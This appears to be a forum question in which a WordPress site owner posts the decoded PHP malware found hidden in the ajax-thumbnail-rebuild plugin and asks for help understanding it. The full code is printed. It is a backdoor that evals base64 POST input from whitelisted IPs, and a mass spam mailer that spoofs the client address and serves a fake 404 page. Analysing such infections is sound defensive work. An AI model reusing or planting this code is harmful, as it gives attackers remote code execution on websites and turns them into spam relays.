I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!
<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("@", $content);
$content = $tokens[0] . "@" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
@fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !@feof($fp) )
{
$res .= @fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return @is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
@fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
The plugin in question is ajax-thumbnail-rebuild
eval
andbase64_decode
. The other one actually has the same malware code and has already more up-votes in just few hours than this one together since 5 months ago and you actually explained that code quite well, therefore this should be marked as duplicated of the other one.